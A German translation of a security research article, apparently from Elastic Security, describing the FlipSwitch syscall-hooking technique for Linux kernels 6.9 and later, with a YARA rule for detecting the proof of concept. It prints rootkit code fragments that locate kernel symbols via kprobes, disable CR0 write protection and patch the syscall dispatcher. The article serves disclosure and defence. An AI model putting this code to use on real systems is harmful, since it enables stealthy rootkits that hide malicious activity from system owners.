FlipSwitch: eine neuartige Syscall-Hooking-Technik
Syscall-Hooking, insbesondere durch das Überschreiben von Zeigern auf Syscall-Handler, ist ein Eckpfeiler von Linux-Rootkits wie Diamorphine und PUMAKIT und ermöglicht es ihnen, ihre Präsenz zu verbergen und den Informationsfluss zu kontrollieren. Es gibt zwar noch andere Hooking-Mechanismen wie ftrace und eBPF, doch jeder dieser Mechanismen hat seine eigenen Vor- und Nachteile und die meisten weisen in irgendeiner Form Einschränkungen auf. Das Überschreiben von Funktionszeigern ist nach wie vor die effektivste und einfachste Möglichkeit, Systemaufrufe im Kernel einzubinden.
Der Linux-Kernel ist jedoch ein bewegliches Ziel. Mit jeder neuen Version führt die Community Änderungen ein, die ganze Klassen von Malware über Nacht obsolet machen können. Genau dies geschah mit der Veröffentlichung des Linux-Kernels 6.9, der eine grundlegende Änderung des Syscall-Dispatch-Mechanismus für die x86-64-Architektur einführte und damit traditionelle Syscall-Hooking-Methoden effektiv neutralisierte.
Die Wände rücken näher: Der Tod einer klassischen Hakentechnik
Um die Bedeutung der Änderungen in Kernel 6.9 zu verstehen, wollen wir zunächst die klassische Methode des Syscall-Hookings noch einmal betrachten. Jahrelang verwendete der Kernel ein einfaches Array von Funktionszeigern namens sys_call_table , um Systemaufrufe zu versenden. Die Logik war wunderbar einfach, wie aus der Kernel-Quelle hervorgeht:
// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);
Ein Rootkit könnte diese Tabelle im Speicher finden, den Schreibschutz deaktivieren und die Adresse eines Systemaufrufs wie kill oder getdents64 mit einem Zeiger auf seine eigene, vom Gegner kontrollierte Funktion überschreiben. Dadurch kann ein Rootkit die Ausgabe des Befehls ls filtern, um beispielsweise schädliche Dateien zu verbergen oder die Beendigung eines bestimmten Prozesses zu verhindern. Doch die Direktheit dieses Mechanismus war zugleich seine Schwäche. Mit dem Linux-Kernel 6.9 änderte sich alles grundlegend, als die direkte Array-Suche durch einen effizienteren und sichereren, auf Switch-Anweisungen basierenden Dispatch-Mechanismus ersetzt wurde:
// Kernel 6.9+: Switch-statement dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
switch (nr) {
#include <asm/syscalls_64.h> // Expands to case statements
default: return __x64_sys_ni_syscall(regs);
}
}
Diese scheinbar subtile Änderung war ein Todesstoß für das traditionelle Syscall-Hooking. Das sys_call_table ist aus Kompatibilitätsgründen mit Ablaufverfolgungstools noch vorhanden, wird jedoch nicht mehr für die eigentliche Verteilung von Systemaufrufen verwendet. Alle Änderungen daran werden einfach ignoriert.
Einen neuen Weg finden: Die FlipSwitch-Technik
Wir wussten, dass der Kernel die ursprünglichen Systemaufruffunktionen immer noch irgendwie aufrufen musste. Die Logik war immer noch da, nur hinter einer neuen Indirektionsebene verborgen. Dies führte zur Entwicklung von FlipSwitch, einer Technik, die die neue Implementierung der Switch-Anweisung umgeht, indem der kompilierte Maschinencode des Syscall-Dispatchers des Kernels direkt gepatcht wird.
Hier ist eine Aufschlüsselung der Funktionsweise:
Der erste Schritt besteht darin, die Adresse der ursprünglichen Systemaufruffunktion zu finden, die wir einbinden möchten. Ironischerweise ist das inzwischen nicht mehr existierende sys_call_table das perfekte Tool dafür. Wir können in dieser Tabelle immer noch die Adresse von sys_kill nachschlagen, um einen zuverlässigen Zeiger auf die ursprüngliche Funktion zu erhalten.
Eine gängige Methode zum Auffinden von Kernelsymbolen ist die Funktion kallsyms_lookup_name . Diese Funktion bietet eine programmgesteuerte Möglichkeit, die Adresse eines beliebigen exportierten Kernelsymbols anhand seines Namens zu finden. Beispielsweise können wir kallsyms_lookup_name("sys_kill") verwenden, um die Adresse der Funktion sys_kill zu erhalten. Dies bietet eine flexible und zuverlässige Möglichkeit, Funktionszeiger zu erhalten, selbst wenn sys_call_table nicht direkt für die Verteilung verwendet werden kann.
Es ist wichtig zu beachten, dass kallsyms_lookup_name im Allgemeinen nicht standardmäßig exportiert wird, was bedeutet, dass es für ladbare Kernelmodule nicht direkt zugänglich ist. Diese Einschränkung erhöht die Kernel-Sicherheit. Eine gängige Technik für den indirekten Zugriff kallsyms_lookup_name ist jedoch die Verwendung eines kprobe. Durch Platzieren einer kprobe auf einer bekannten Kernelfunktion kann ein Modul dann die interne Struktur des Kprobe verwenden, um die Adresse der ursprünglichen, geprüften Funktion abzuleiten. Daraus kann häufig durch sorgfältige Analyse des Speicherlayouts des Kernels ein Funktionszeiger auf kallsyms_lookup_name gewonnen werden, beispielsweise durch Untersuchung nahegelegener Speicherbereiche relativ zur Adresse der geprüften Funktion.
/**
* Find the address of kallsyms_lookup_name using kprobes
* @return Pointer to kallsyms_lookup_name function or NULL on failure
*/
void *find_kallsyms_lookup_name(void)
{
struct kprobe *kp;
void *addr;
kp = kzalloc(sizeof(*kp), GFP_KERNEL);
if (!kp)
return NULL;
kp->symbol_name = O_STRING("kallsyms_lookup_name");
if (register_kprobe(kp) != 0) {
kfree(kp);
return NULL;
}
addr = kp->addr;
unregister_kprobe(kp);
kfree(kp);
return addr;
}
Nachdem wir die Adresse von kallsyms_lookup_name gefunden haben, können wir sie verwenden, um Zeiger auf die Symbole zu finden, die wir benötigen, um mit dem Platzieren eines Hooks fortzufahren.
Mit der Zieladresse in der Hand wenden wir unsere Aufmerksamkeit der Funktion x64_sys_call zu, der neuen Heimat der Syscall-Dispatch-Logik. Wir beginnen, den Rohmaschinencode Byte für Byte zu scannen und suchen nach einer Aufrufanweisung. Unter x86-64 verfügt die Aufrufanweisung über einen bestimmten Ein-Byte-Opcode: 0xe8. Auf dieses Byte folgt ein relativer Offset von 4 Bytes, der der CPU mitteilt, wohin gesprungen werden soll.
Hier geschieht die Magie. Wir suchen nicht einfach nach irgendwelchen Anrufanweisungen. Wir suchen nach einer Aufrufanweisung, die in Kombination mit ihrem 4-Byte-Offset direkt auf die Adresse der ursprünglichen sys_kill -Funktion verweist, die wir zuvor gefunden haben. Diese Kombination aus dem 0xe8 -Opcode und dem spezifischen Offset ist eine eindeutige Signatur innerhalb der x64_sys_call -Funktion. Es gibt nur eine Anweisung, die diesem Muster entspricht.
/* Search for call instruction to sys_kill in x64_sys_call */
for (size_t i = 0; i < DUMP_SIZE - 4; ++i) {
if (func_ptr[i] == 0xe8) { /* Found a call instruction */
int32_t rel = *(int32_t *)(func_ptr + i + 1);
void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
if (call_addr == (void *)sys_call_table[__NR_kill]) {
debug_printk("Found call to sys_kill at offset %zu\n", i);
Sobald wir diese eindeutige Anweisung gefunden haben, haben wir unseren Einfügepunkt gefunden. Doch bevor wir den Code des Kernels ändern können, müssen wir dessen Speicherschutz umgehen. Da wir die Ausführung bereits innerhalb des Kernels (Ring 0) durchführen, können wir eine klassische, leistungsstarke Technik verwenden: Deaktivieren des Schreibschutzes durch Umschalten eines Bits im Register CR0 . Das Register CR0 steuert grundlegende Prozessorfunktionen und sein 16. Bit (Schreibschutz) verhindert, dass die CPU auf schreibgeschützte Seiten schreibt. Indem wir dieses Bit vorübergehend löschen, können wir jeden beliebigen Teil des Kernelspeichers ändern.
/**
* Force write to CR0 register bypassing compiler optimizations
* @param val Value to write to CR0
*/
static inline void write_cr0_forced(unsigned long val)
{
unsigned long order;
asm volatile("mov %0, %%cr0"
: "+r"(val), "+m"(order));
}
/**
* Enable write protection (set WP bit in CR0)
*/
static inline void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0_forced(cr0);
}
/**
* Disable write protection (clear WP bit in CR0)
*/
static inline void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0_forced(cr0);
}
Bei deaktiviertem Schreibschutz überschreiben wir den 4-Byte-Offset der Aufrufanweisung mit einem neuen Offset, der auf unsere eigene fake_kill -Funktion zeigt. Tatsächlich haben wir im Dispatcher des Kernels den Schalter umgelegt und einen einzelnen Systemaufruf an unseren Schadcode umgeleitet, während der Rest des Systems unberührt blieb.
Diese Technik ist sowohl präzise als auch zuverlässig. Und was wichtig ist: Alle Änderungen werden beim Entladen des Kernelmoduls vollständig rückgängig gemacht, sodass keine Spuren seiner Anwesenheit zurückbleiben.
Die Entwicklung von FlipSwitch ist ein Beweis für das anhaltende Katz-und-Maus-Spiel zwischen Angreifern und Verteidigern. Während die Kernel-Entwickler den Linux-Kernel immer härter machen, werden Angreifer weiterhin neue und kreative Wege finden, diese Abwehrmaßnahmen zu umgehen. Wir hoffen, dass wir durch die Weitergabe dieser Forschungsergebnisse der Sicherheitsgemeinschaft helfen können, immer einen Schritt voraus zu sein.
Erkennung von Malware
Das Erkennen von Rootkits, nachdem sie in den Kernel geladen wurden, ist außerordentlich schwierig, da sie darauf ausgelegt sind, im Verborgenen zu agieren und der Erkennung durch Sicherheitstools zu entgehen. Wir haben jedoch eine YARA-Signatur entwickelt, um den Proof-of-Concept für FlipSwitch zu identifizieren. Mithilfe dieser Signatur kann das Vorhandensein des FlipSwitch-Rootkits im Speicher oder auf der Festplatte erkannt werden.
YARA
Elastic Security hat YARA-Regeln erstellt, um diese Aktivität zu identifizieren. Nachfolgend finden Sie die YARA-Regeln zur Identifizierung des Flipswitch-Proof-of-Concept.
rule Linux_Rootkit_Flipswitch_821f3c9e
{
meta:
author = "Elastic Security"
description = "Yara rule to detect the FlipSwitch rootkit PoC"
os = "Linux"
arch = "x86"
category_type = "Rootkit"
family = "Flipswitch"
threat_name = "Linux.Rootkit.Flipswitch"
strings:
$all_a = { FF FF 48 89 45 E8 F0 80 ?? ?? ?? 31 C0 48 89 45 F0 48 8B 45 E8 0F 22 C0 }
$obf_b = { BA AA 00 00 00 BE 0D 00 00 00 48 C7 ?? ?? ?? ?? ?? 49 89 C4 E8 }
$obf_c = { BA AA 00 00 00 BE 15 00 00 00 48 89 C3 E8 ?? ?? ?? ?? 48 89 DF 48 89 43 30 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 }
$main_b = { 41 54 53 E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 49 89 C4 E8 ?? ?? ?? ?? 4D 85 E4 74 2D 48 89 C3 48 85 }
$main_c = { 48 85 C0 74 1F 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 ?? ?? ?? ?? 45 31 E4 EB 14 }
$debug_b = { 48 89 E5 41 54 53 48 85 C0 0F 84 ?? ?? 00 00 48 C7 }
$debug_c = { 48 85 C0 74 45 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 75 26 48 89 DF 4C 8B 63 28 E8 ?? ?? ?? ?? 48 89 DF E8 }
condition:
#all_a>=2 and (1 of ($obf_*) or 1 of ($main_*) or 1 of ($debug_*))
}
Referenzen
In der obigen Studie wurde auf Folgendes Bezug genommen:
